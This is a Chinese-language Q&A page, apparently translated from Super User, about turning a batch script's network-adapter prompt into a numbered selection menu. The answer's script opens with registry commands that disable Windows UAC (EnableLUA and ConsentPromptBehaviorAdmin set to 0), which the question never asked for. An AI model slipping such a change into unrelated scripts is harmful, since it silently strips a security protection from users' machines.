在批处理代码中,如何进行输入选择而不是键入?

在批处理代码中,如何进行输入选择而不是键入?

目前,我列出了所有网络适配器,然后用户需要输入适配器的名称才能继续执行其余的代码。

:: Listing all network adapters
    echo/List all network adapters & netsh interface show interface
    
:: Getting the name of the network adapters and validating the user input
echo/ & set /p "_adapterName=Enter the interface name you want to fix: " || =;(
     echo You must enter a network adapter name! & exit /b );=

在此处输入图片描述

相反,我该如何使用该列表以便用户可以根据编号从中选择一个项目?

在此处输入图片描述

答案1

使用 for 循环根据您的选择选项来操作输出,另外使用一个循环来保存感兴趣的项在变量中。结合子字符串并与您的代码合并(来自上一篇文章),它将如下所示:

在此处输入图片描述


@echo off && setlocal enabledelayedexpansion

echo/Disabling UAC & for %%i in =;( EnableLUA,ConsentPromptBehaviorAdmin 
    );= do >nul reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "%%~i" /t REG_DWORD /d 0 /f

echo/List all network adapters & echo/ & set /a "_opt=1-1"

set "_line=-------------------------------------------------------------------------"
echo/Option: Admn state     State          Type             Interface & echo/%_line% 

for /f usebackq^tokens^=* %%i in =;(
    `"netsh interface show interface | findstr /v "nterfac --""`
    );= do call set /a "_opt+=1" & call set "_opt%%_opt%%=[%%_opt%%]: %%~i" && =;(
         for /f usebackq^tokens^=3* %%I in =;(` "echo/%%~i" `);= do call set "_%%_opt%%=%%~J" 
            );= & call echo/   [%%_opt%%]: %%~i
            
echo/%_line% & set /p "_adapterNumber=Enter the interface number you want to fix: "

call set "_adapterName=%%_!_adapterNumber!%%" 

for %%G in =;( IPv4,Sub,Gate );= do for /f "tokens=1-2 delims=:(" %%A in =;('
     ipconfig /all ^| Find "%%~G" ');= do set "_%%~G=%%~B" && call set "_%%~G=%%_%%~G: =%%"

echo/ & netsh interface ip show addresses name="%_adapterName%" | findstr "DHCP.*Sim" >nul && =;(
    set "_dhcp=Yes" );= || set "_dhcp=No"

echo/Actual network configuration of host
echo/     IP Address: !_IPv4!
echo/    Subnet Mask: !_Sub!
echo/Default Gateway: !_Gate!
echo/           DHCP: !_DHCP!
echo/ & endlocal

相关内容